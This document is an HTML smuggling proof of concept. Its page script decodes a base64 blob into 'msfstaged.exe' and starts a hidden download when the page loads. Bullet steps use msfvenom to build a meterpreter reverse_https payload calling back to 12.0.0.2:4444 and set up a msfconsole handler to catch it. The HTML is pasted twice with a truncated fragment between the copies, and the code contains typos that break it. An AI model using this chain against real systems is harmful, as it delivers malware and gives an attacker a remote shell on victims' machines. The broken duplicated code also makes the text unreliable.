<html>

<body>

<script>

function base64toArrayBuffer(base64){

var binary\_string = window.atob(base64);

var len = binary\_string.length;

var bytes = new Unit8Array(len);

for(var i=0 ; i<len; i++){

bytes[i]=binary\_string.charCodeAt(i);

}

return bytes.buffer;

}

var file = 'base64 payload.exe';

var data = base64toArrayBuffer(file);

var blob = new Blob([data] , {type: 'octet/stream'});

var filename = 'msfstaged.exe';

var a = document.createElement('a');

document.body.apppenChild(a);

a.style = 'display: none';

var url = window.URL.createObjectURL(blob);

a.href = url;

a.download = filename;

a.click();

window.URL.revokeObjectURL(url);

</script>

</body>

</html>

* sudo msfvenom -p windows/x64/meterpreter/reverse\_https LHOST=12.0.0.2 LPORT=4444 -f exe -o /var/www/html/msfstaged.exe (to generate payload)
* base64 /var/www/html/ msfstaged.exe (to make it base64)
* above html page in /var/www/html/htmlsmugglingpoc.html
* in attacker machine
* sudo msfconsole -q
* use multi/handler
* set payload windows/x64/meterpreter/reverse\_https
* set lhost=12.0.0.2
* set lport=4444
* exploit

ml>

<body>

<script>

function base64toArrayBuffer(base64){

var binary\_string = window.atob(base64);

var len = binary\_string.length;

var bytes = new Unit8Array(len);

for(var i=0 ; i<len; i++){

bytes[i]=binary\_string.charCodeAt(i);

}

return bytes.buffer;

}

var file = 'base64 payload.exe';

var data = base64toArrayBuffer(file);

var blob = new Blob([data] , {type: 'octet/stream'});

var filename = 'msfstaged.exe';

var a = document.createElement('a');

document.body.apppenChild(a);

a.style = 'display: none';

var url = window.URL.createObjectURL(blob);

a.href = url;

a.download = filename;

a.click();

window.URL.revokeObjectURL(url);

</script>

</body>

</html>